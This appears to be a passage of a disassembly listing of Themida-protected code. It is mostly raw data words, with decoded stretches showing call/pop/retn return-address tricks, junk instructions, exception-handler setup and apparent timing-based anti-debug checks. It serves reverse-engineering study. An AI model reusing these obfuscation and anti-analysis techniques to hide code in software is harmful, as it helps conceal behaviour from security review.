dd 16850Fh, 11E90000h, 82000000h, 72E90ED4h, 0AF9CAF85h
dd 3844C0Dh, 71EF014Fh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 6A2BFDC3h, 0AB858D00h
dd 6A06171Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 6D9CC355h, 0BD8B1650h, 6121845h
dd 0C083F88Bh, 51CF8105h, 5026BFB8h, 1B358531h, 905F0612h
dd 7595BF50h, 8B907E31h, 1206C5BDh, 6A006A06h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 0EC18C355h, 0B222F7E7h, 0B70F0557h, 8B006AFEh, 120D2D9Dh
dd 0B595FF06h
dd 6A06120Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 5760C355h, 8B04B3E3h, 12302DBDh
dd 919D8906h, 8D061200h, 15AF028Dh, 0FE806h, 50880000h
dd 4AF562BBh, 0E1638379h, 1D459362h, 8BFC60A0h, 1200A1BDh
dd 0FF5F6106h, 56006AD1h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 0B99314Ch, 121395BDh
dd 0ADBD8306h, 1061207h, 77850Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 5027B5C3h
dd 66026A60h, 5A60DF81h, 0DE8A5290h, 6A90505Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 4ED5C357h, 0FF71CAB7h, 1206A595h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 4C40120Fh
dd 8B4730E9h, 0E87E9F8h, 0E80000h, 5D000000h, 1DB5ED81h
dd 8B660617h, 51006ADAh, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1B04h, 0C3514100h, 12B933E0h, 9C2CF95Ah, 858DFE8Ah
dd 6159437h, 0BE9h, 74AD8900h, 5D6A0C24h, 4E5B298h, 50DE8A90h
dd 4840Fh, 8B560000h, 89905FFEh, 1221918Dh, 35FF6406h
dd 0
; ---------------------------------------------------------------------------
mov di, 7BE3h
sub bx, 23E7h
mov large fs:0, esp
push 0
push edx
call sub_598847
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_598847 proc near ; CODE XREF: Themida_:0059883Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_598847 endp
; ---------------------------------------------------------------------------
mov [eax-75h], ecx
popf
cmc
or [edx], edx
push es
mov bh, cl
pusha
xor [ebp+6121159h], ebx
mov esi, [ebp+6120461h]
popa
inc dword ptr [ebp+6120679h]
xor bx, 0D071h
push 0FFFFFFFFh
push 0
push esi
call sub_598887
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_598887 proc near ; CODE XREF: Themida_:0059887Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_598887 endp
; ---------------------------------------------------------------------------
db 7Bh
dd 922FB26Ah, 7240B8EFh, 0D9B70F96h, 50DB5FFh, 6A0612h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 89BF97C3h, 12234585h, 29858906h, 0FF06121Ah, 122CB595h
dd 140E906h, 0BD8B0000h, 612286Dh, 9D8B00B0h, 6122659h
dd 870F70E6h, 14h, 0FE9h, 701F8A00h, 13823504h, 0AB1EDC57h
dd 76150AEh, 0BD8B71E4h, 6123109h, 830F613Ch, 106h, 1D6D8589h
dd 0B60F0612h, 6D9D0BC8h, 0BA061200h, 6, 8BDEB70Fh, 0AE9C1h
dd 90B20000h, 946B632Dh, 999C219Eh, 0B8F78166h, 4E8C17Bh
dd 9F19D8Bh, 0F7660612h, 0FDBD8BE2h, 8906122Eh, 1229159Dh
dd 0E9C82B06h, 0Dh, 38D6A006h, 31E2365Fh, 0FFF7BA57h, 0E9D18BB1h
dd 6, 0DE2CD343h, 9BE966E0h, 0E8000000h, 0Eh, 1E266F1h
dd 0FD4CF404h, 0E1F16AD8h, 0FA8B9BA0h, 49858B5Bh, 8B44004Eh
dd 1211059Dh, 7C08306h, 85895160h, 61229F5h, 68E0F59h
dd 8B000000h, 1206518Dh, 0C0836106h, 0BD8B5200h, 61218BDh
dd 0FD03B5Bh, 0B83h, 48E900h, 0F7810000h, 756AFFB9h, 0FFFF8D8Bh
dd 8501FFFFh, 6122BD5h, 0F01E183h, 2D84h, 0DA08BF00h, 0B5895AD4h
dd 6122199h, 0FFFFA583h, 60FEFFFFh, 1CFDBD8Bh, 89610612h
dd 4E4995h, 2800F44h, 8A000000h, 0E9D9h, 0B58D0000h, 6169801h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0DC35040h
dd 0E8004036h, 0Bh, 650F2F65h, 0CD10BB2Eh, 0F98AA4E1h
dd 0F006A5Fh, 95FFF8B7h, 61219CDh, 8E9h, 186A7900h, 0BEC81737h
dd 0F73B939h, 0FE8A0000h, 29FCE183h, 1219F595h, 6AFC06h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0E3AEBCC3h, 0FE38BFD0h, 8B66E380h, 6AC02BD9h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 966C357h, 522C8E23h, 0BA5Bh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0CDF67AC3h
dd 0F691B77h, 581h, 0BE66BB00h, 33AD3E81h, 3E8D1C2h, 4E983D0h
dd 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 0F13471C3h, 91C4190Bh, 6A03949Eh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 0C439C357h, 236A52B1h, 8BDA5061h, 880DF9h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 410557C3h, 0BD8BA5EEh, 61203A1h, 9A1958Bh, 6A0612h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 0C2833C3h, 0E8813C2Eh, 8B2A8864h, 1205058Dh, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 69F3D338h, 119D2953h, 50061201h, 188BC28Bh, 188BC103h
dd 0E8D1C18Bh, 188BC203h, 0D3816658h, 6E889D0h, 0EE000000h
dd 0E1219D75h, 0A9958970h, 5B061230h, 2121BD83h, 0F000612h
dd 0A184h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1804h, 0C3564600h, 0F470AFA9h, 0F2E8BFA8h, 0B81D64h
dd 60000000h, 23759D89h, 870F0612h, 11h, 0CE9h, 1A386B00h
dd 0C8BE4970h, 11B0416Fh, 8D8D61A0h, 6124DB5h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 3CC35747h, 1CDA6EBAh
dd 0B9BD8BB9h, 0FF06120Eh, 50006AE1h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 7DD447A5h
dd 94C747DEh, 14E98501h, 0BD830612h, 6121BD9h, 1B840F00h
dd 0F000004h, 0BD83FEBFh, 6121BD9h, 26840F01h, 6A000004h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 7719C357h, 0B7AF1647h, 0D9BD8357h, 306121Bh
dd 3C1860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 0B09276C3h, 27C9BB58h, 81664D5Eh
dd 6019C3CFh, 19D18D89h, 8C660612h, 0D99589D9h, 8006120Dh
dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 663417C3h, 0A981EBFh, 0EB840FC9h, 89000000h
dd 1212119Dh, 8D858B06h, 31061230h, 1223C1B5h, 65853306h
dd 6A061231h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 9485C350h, 0C38180C0h, 0EB86841h
dd 51525090h, 310F5250h, 0F5F585Ah, 56525031h, 50310F5Fh
dd 5A310F52h, 5A585A58h, 0F905058h, 685h, 0FD9D8900h, 0E806120Eh
dd 0Ch, 4F408BE3h, 0A9DDAA04h, 6DB9A40Eh, 8A006A5Bh, 0A32168D8h
dd 14E830EDh, 15000000h, 82C5ACAFh, 43D6D03h, 71E824A0h
dd 4F25F9A5h, 8B1F0093h, 34815FF9h, 0F2A0DE24h, 53006A30h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 66B3B601h, 56DBEB81h, 237995FFh, 0BF0F0612h, 128589DEh
dd 660615C8h, 0D7BFFB8Bh, 0E9217CB9h, 1E4h, 29A9BD23h
dd 858B0612h, 615C80Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 0B5C35747h, 79032EBDh, 8B3970AAh, 1221DD9Dh
dd 1800C706h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 0A63FC355h, 407E56FFh
dd 81ACA2F8h, 9FCED0F7h, 0EB58B2Eh, 6A0615C8h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 0C944C356h, 2F9A38EBh, 115D381h, 858B41FAh, 6122AB9h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0EAC35545h
dd 31BB8E62h, 892836C5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1404h, 0C3514100h, 85B58953h, 8B061230h
dd 12308D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 0F2A2CBFh, 4689DBBFh, 959D8B04h
dd 96061209h, 1A850Fh, 52500000h, 1A555FBFh, 0E8310F60h
dd 9, 7484DFB8h, 665657BDh, 585A5F09h, 1CBF6650h, 6A966Ch
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 0DDBAA5C3h, 10E9h, 9C769900h, 0A394FEE4h, 0AC0BDE99h
dd 0AC536221h, 58E0FA9h, 0BF000000h, 61CBB2DCh, 0C80AB5FFh
dd 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 0ABECBCC3h, 0C3848C14h, 68F8BF0Fh, 9BA7037Eh
dd 481C8B7h, 78008124h, 81665364h, 5B417AEBh, 0C812858Dh
dd 60500615h, 5A515250h, 5250310Fh, 585A310Fh, 800F585Ah
dd 0
; ---------------------------------------------------------------------------
popa
mov [esp], eax
pusha
mov [ebp+61220BDh], edi
popa
call dword ptr [ebp+6122379h]
mov ebx, esi
popa
push 0
push ebp
call sub_599030
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_599030 proc near ; CODE XREF: Themida_:00599028p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_599030 endp
; ---------------------------------------------------------------------------
dd 0F838CA1h, 687h, 7DBD8B00h, 0C7061226h, 121BD985h, 306h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 0DABD0998h, 12BD83C9h, 615C8h, 31840Fh
dd 8B660000h, 44E9D8h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 296F60C3h, 0BA77169Fh
dd 72BFD517h, 5035825Ch, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 0DC8AC08Bh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 0D2C35646h, 0B589EE0Fh, 6120065h
dd 1BD9BD83h, 0F030612h, 4D585h, 0DAC38100h, 0E81E7E1Ah
dd 0Bh, 9F5E638Ah, 2DBFAB35h, 81481168h, 1BE445DFh, 0BD835B2Dh
dd 615C812h, 0AB840F00h, 6A000004h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 4DC357h
dd 3F53509h, 81FD754Eh, 0E617ACEFh, 3E84BF0Fh, 0B5FF7BBAh
dd 615C812h, 13D9BD03h, 95FF0612h, 6121AA9h, 126CF81h
dd 0BD8B758Dh, 61204ADh, 0C806B58Bh, 11E80615h, 0B6000000h
dd 1E11E6A0h, 68857546h, 0EDA83839h, 65687135h, 1681BD8Bh
dd 0C75B0612h, 1000106h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 91BD01B1h, 8B061203h
dd 12315D9Dh, 51609606h, 0E859C58Ah, 0Dh, 0B6A6D43Ah, 3571D8FAh
dd 795140EDh, 5E9F8h, 6A530000h, 5898357Ah, 5B505061h
dd 10E996h, 0ECE70000h, 0AA9B8424h, 2F23384Ah, 59824B5Dh
dd 0B5FF5586h, 615C812h, 5947C381h, 95FF14FEh, 6121C05h
dd 7E8h, 933F8F00h, 0DBCC130h, 3D1BD8Bh, 8B5B0612h, 15C806B5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 0E967908Ch, 12h, 437CB7A0h, 0CC62B01Ch
dd 1CBA5A5Dh, 2B052199h, 858BBD59h, 61201A5h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C8C35343h, 0FDD03165h
dd 80F25D34h, 0FB8B51FCh, 0C486895Fh, 0E8000000h, 9, 2A50059h
dd 4C60ED55h, 0FE909h, 92FE0000h, 51CD8048h, 0CC0C065Ch
dd 5D49C127h, 0E3815FB5h, 12BF9B8h, 9A1958Bh, 6A0612h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 26A166C3h, 64423D4Bh, 0CA58D89h, 6E90612h, 0E5000000h
dd 0AF7AA451h, 0EE9FBh, 527A0000h, 30C52A25h, 0AEAFA723h
dd 72CE29CCh, 0F504C283h, 6A205089h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 72F6C356h
dd 82C654BCh, 10E9h, 627AB900h, 18B7DC3Eh, 16F3AAFAh, 891E8A63h
dd 6F858DC5h, 10615DCh, 1210559Dh, 0B8868906h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 4BCEC355h, 6A00B325h, 0B5FFF800h, 615C812h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0ECC35646h
dd 0E5BD6273h, 85891885h, 6121285h, 6A595FFh, 6A0612h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 8B0F45C3h, 1208DDBDh, 8A605006h, 615953D4h, 6A243489h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 3D7CC355h, 0F85E52DDh, 926708A0h, 0C812B5FFh
dd 0FFF50615h, 12028195h, 85895106h, 6121571h, 9BD835Bh
dd 6122Ah, 0AB840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 609602C3h, 0AE85250h
dd 0A000000h, 4788D771h, 1D9ED841h, 310F594Bh, 12E9h, 88344200h
dd 0DE519F9Ah, 2AFF0AF3h, 0B017EFF7h, 5AA48B17h, 0FE958h
dd 65520000h, 0B89AC33h, 1A4C3B91h, 534EF91Ch, 0F506178h
dd 1C8Eh, 0E8525000h, 0Ah, 0B577474Eh, 52DA5C65h, 0F5FE645h
dd 880F31h, 5A000000h, 6A9658h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 0AF3001C3h, 899DDF80h
dd 122B0DBDh, 12B5FF06h, 890615C8h, 1215259Dh, 0C195FF06h
dd 60061218h, 89F0B70Fh, 122A559Dh, 0B5FF6106h, 615C812h
dd 175D8529h, 9D330612h, 6120DD1h, 1BA195FFh, 6A0612h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 0BBD72AC3h, 0D9BD8B8Bh, 0BB06121Fh, 4D7F1333h, 1EB1BD83h
dd 0F020612h, 6584h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 10E965h, 65E90000h, 0C1251358h
dd 63A0195Fh, 0DADFCE2Ch, 858B46F3h, 61203A5h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0DCC35141h, 31477538h
dd 12140D8Dh, 0C606h, 8E0Fh, 85C70000h, 6121B59h, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5995F7
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5995F7 proc near ; CODE XREF: Themida_:005995EFp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5995F7 endp
; ---------------------------------------------------------------------------
db 0ECh
dd 38C0F10h, 0F000000h, 63E9DFB7h, 80FFFFF2h, 0C18BDECBh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0CCC35141h
dd 0D485A922h, 0F0E1A13Bh, 0ED9D8998h, 8B061204h, 1219ED9Dh
dd 1858D06h, 6A06122Eh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 81A1C357h, 51403BEBh
dd 12E99017h, 9B000000h, 7FBD0C2Dh, 25A11716h, 96C72967h
dd 0E8A0187Dh, 0A8BB509Dh, 903EE7F2h, 6ADA8Ah, 890F5160h
dd 0
; ---------------------------------------------------------------------------
pop edi
mov di, 0E729h
popa
push 0
lea eax, [ebp+6172D8Bh]
mov ebx, [ebp+6121A49h]
add eax, 5
xor di, 0FEB2h
nop
jg loc_5996C8
mov ebx, 5FF195Fh
loc_5996C8: ; CODE XREF: Themida_:005996BDj
push eax
mov di, 0DA5Eh
nop
push edx
mov bh, 0E6h
pop edi
push 0
ja loc_5996DF
and bx, 0CF2Fh
loc_5996DF: ; CODE XREF: Themida_:005996D4j
mov [ebp+6123499h], ebx
push 0
mov [ebp+6121A5Dh], ecx
call dword ptr [ebp+6120DB5h]
push 0
push edi
call sub_5996FE
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5996FE proc near ; CODE XREF: Themida_:005996F6p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5996FE endp
; ---------------------------------------------------------------------------
dw 66CFh
; ---------------------------------------------------------------------------
mov ebx, edi
lea ecx, [ebp+615AF02h]
push 0
push eax
call sub_599723
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_599723 proc near ; CODE XREF: Themida_:0059971Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_599723 endp
; ---------------------------------------------------------------------------
db 6Dh
dd 0BF66D140h, 0D1FFCAECh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 4EC35040h, 5D826738h, 2C619509h, 0BD830612h
dd 61207ADh, 32850F01h, 3000000h, 122041BDh, 8B026A06h
dd 120E9D9Dh, 1AB39006h, 0AE950h, 0BAAE0000h, 823C8108h
dd 25884514h, 0ED9D8B90h, 0FF06121Dh, 1206A595h, 1FBB6606h
dd 0C5DE93Dh, 0E80000h, 5D000000h, 2D95ED81h, 0BF0F0617h
dd 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 192DD69Fh, 858DF88Bh, 6159437h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 16C35141h, 6678F001h
dd 6690F98Bh, 9050DE8Bh, 35FF64F5h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_599817
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_599817 proc near ; CODE XREF: Themida_:0059980Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_599817 endp
; ---------------------------------------------------------------------------
db 0ECh
; ---------------------------------------------------------------------------
clc
scasb
inc edi
pop ss
fsub dword ptr [eax]
mov large fs:0, esp
push 0
push ebp
call sub_599841
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_599841 proc near ; CODE XREF: Themida_:00599839p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_599841 endp
; ---------------------------------------------------------------------------
db 59h, 0ECh, 36h
dd 0F75116A1h, 0B5893EDCh, 6121DA5h, 0FFFA8B66h, 12067985h
dd 0D2D6BF06h, 5E84252h, 51000000h, 3F49929h, 12E9h, 3DAB6300h
dd 0DD4D1762h, 0F3E886E2h, 0DBF7666Ch, 5FEED7A7h, 6AFF6Ah
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 85A177C3h, 0ADB5FF9Ch, 81061206h, 437AC6E7h, 0E585894Ah
dd 0FF06122Ch, 122CB595h, 141E906h, 78BF0000h, 0B07896D4h
dd 0F8B70F00h, 6E870E6h, 9B000000h, 20F7F5C1h, 6840F8Fh
dd 81000000h, 441496F3h, 71E45F2Bh, 3485BD8Bh, 613C0612h
dd 10D830Fh, 85310000h, 6122EC9h, 81C8B60Fh, 24D1B1D7h
dd 6BA4Fh, 0BF0F0000h, 66C18BFAh, 0C13A48BFh, 10E904E8h
dd 0A1000000h, 0C0F19B81h, 4CE9E007h, 0F85D8A20h, 669D7C59h
dd 9D29E2F7h, 6121321h, 0FE8C82Bh, 38000000h, 4B5D2F23h
dd 55865982h, 0CB510289h, 0BD29D977h, 612164Dh, 0DF81665Bh
dd 0D18BD0F6h, 6E8h, 0B024E800h, 0E95D12FAh, 11h, 898D8323h
dd 0AE9BC86Ah, 0A68E000h, 716068C6h, 84E95BADh, 89000000h
dd 121E898Dh, 4C858B06h, 8B505F4Ch, 7C083FAh, 0C083FE8Bh
dd 5D9D0100h, 3B06121Ah, 11830FD0h, 89000000h, 120899BDh
dd 55E906h, 0B5890000h, 61210F9h, 0FFFF8D8Bh, 0BD8BFFFFh
dd 612099Dh, 0F01E183h, 3A84h, 0BE900h, 8EBF0000h, 0F06A0150h
dd 882F68ABh, 0FFA5830Fh, 0FEFFFFFFh, 6820Fh, 85290000h
dd 6122C61h, 4C4C9589h, 8D89505Fh, 6122D75h, 19C59D8Bh
dd 0E90612h, 8D000000h, 16A774B5h, 3D1DBF06h, 6A35D4h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E7C35646h
dd 870F55B5h, 2, 95FF5AB3h, 61219CDh, 6E99D8Bh, 23B90612h
dd 60000011h, 17D68166h, 0ED8D89EAh, 61061208h, 89FCE183h
dd 122ADDBDh, 6AFC06h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 0BD8B7DC3h, 612175Dh, 62EF8166h
dd 0B843h, 8D0F0000h, 17h, 0DE8h, 0DE39E600h, 44EFEEABh
dd 3DC619EDh, 0BF66572Fh, 0BA5F42BEh, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_599AC3
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_599AC3 proc near ; CODE XREF: Themida_:00599ABBp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_599AC3 endp
; ---------------------------------------------------------------------------
db 1
dd 0E3D66D72h, 0AD4AF380h, 0E8D1C233h, 0E983D003h, 8BF47504h
dd 120CCD9Dh, 0FDBD8906h, 2906120Dh, 123169B5h, 880D06h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 0D4EBC5C3h, 0A1958BF1h, 6A061209h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 0E0C0C357h, 47351328h, 5032B124h, 47F650BBh, 8D8B5B02h
dd 6120505h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 0BFC35040h, 0FB8B508Eh, 9919589h, 8B500612h, 3188BC2h
dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 9AD2BF66h, 11E8h, 0C82F2800h
dd 0ACA07C26h, 962B5C64h, 4C9FDFB9h, 8EBF55BEh, 5F116D62h
dd 83F9BF0Fh, 122121BDh, 840F0006h, 48h, 0CC78166h, 0B8DAh
dd 10E90000h, 70000000h, 15A01B90h, 28B3EB1Ah, 53CEF88Ch
dd 8DC8FFF8h, 124DB58Dh, 14E95106h, 49000000h, 1554E23h
dd 6AA34FB5h, 0B750342Ah, 7072DACh, 5B7B8181h, 0BD8BE1FFh
dd 61230D1h, 1BD9BD83h, 0F000612h, 3C384h, 258D3100h, 0F061230h
dd 68Eh, 859D8B00h, 83061218h, 121BD9BDh, 840F0106h, 3BFh
dd 8D29F560h, 6120701h, 0D9BD8361h, 306121Bh, 373860Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 72DF76C3h, 14288BEBh, 51006A60h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 810F9631h
dd 6, 1415B589h, 0DA8B0612h, 6AD98C66h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 740BC352h
dd 0F5D42A0Ah, 6A04E180h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 89C5C351h, 121A4D9Dh
dd 0FC90A06h, 13D84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 12C07615h, 5F16F73Bh
dd 8D858B84h, 0F061230h, 580h, 0CF816600h, 853377D0h, 6123165h
dd 108D0F90h, 0E9000000h, 0Bh, 42F31683h, 0CA7D280Ah, 50D9078Fh
dd 10E9h, 928BA500h, 0A169A1B3h, 0FCDB5EC7h, 304CD976h
dd 8D299000h, 6120025h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 0D5383CC3h, 389BC21Ch
dd 29BD89AAh, 0E8061213h, 4, 1F03FFh, 7E9h, 0C9F1C200h
dd 0EB59D17Eh, 3F4BBF50h, 448B56FBh, 0BF660424h, 8B476Bh
dd 3CBE6660h, 0DE807h, 22150000h, 53DEB198h, 7D362008h
dd 59680778h, 24448961h, 0DE904h, 765E0000h, 7832EB3Bh
dd 0C74F99D2h, 58529DACh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 75C35747h, 5C59182Ch, 0DA8AB78Eh, 7995FF30h
dd 89061223h, 121D159Dh, 0C9BD8B06h, 8906121Bh, 15C81285h
dd 81B58906h, 0E9061230h, 152h, 8EDBD23h, 858B0612h, 615C80Ah
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F1C35141h
dd 830F385Bh, 0Bh, 0C18B6660h, 1089B58Bh, 0C7610612h, 1800h
dd 95896000h, 6120749h, 0BE9h, 0E712D400h, 11415ECDh, 9E0F02E7h
dd 0EB58B61h, 6A0615C8h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 4E43C352h, 31BD8BB5h
dd 0E9061203h, 7, 378950C6h, 8B32C14Eh, 122AB985h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0E006C88Fh, 0FB8E78FEh, 0BD8B5FD9h, 61201B1h, 10E90689h
dd 6F000000h, 3E53B45Ah, 812417C3h, 0B4B93D00h, 8BC3E248h
dd 12308D85h, 0C9858906h, 89061209h, 8D290446h, 61234BDh
dd 505B5296h, 0D98A5250h, 0EEBB310Fh, 5A35C212h, 0B5FF9658h
dd 615C80Ah, 1799589h, 2B680612h, 8B8DCF5Bh, 240481D8h
dd 724FA8D4h, 0C812858Dh, 0B3500615h, 240489E9h, 1A7ACB81h
dd 95FF07CAh, 6122379h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 13C35040h, 4A9D54A9h, 0E961D98Bh, 8
dd 88948D24h, 0D466CB7Ah, 1BD985C7h, 30612h, 0DE80000h
dd 0B8000000h, 651B73D3h, 0E5B6F62h, 9B1E8C86h, 3075BD8Bh
dd 835F0612h, 15C812BDh, 840F0006h, 0Dh, 3F1BD09h, 1DE90612h
dd 8B000000h, 0C3050F9h, 11440011h, 10E8C101h, 2114430h
dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 72C35242h, 0D6F8C4BAh, 0E33DB2C0h, 5E8h
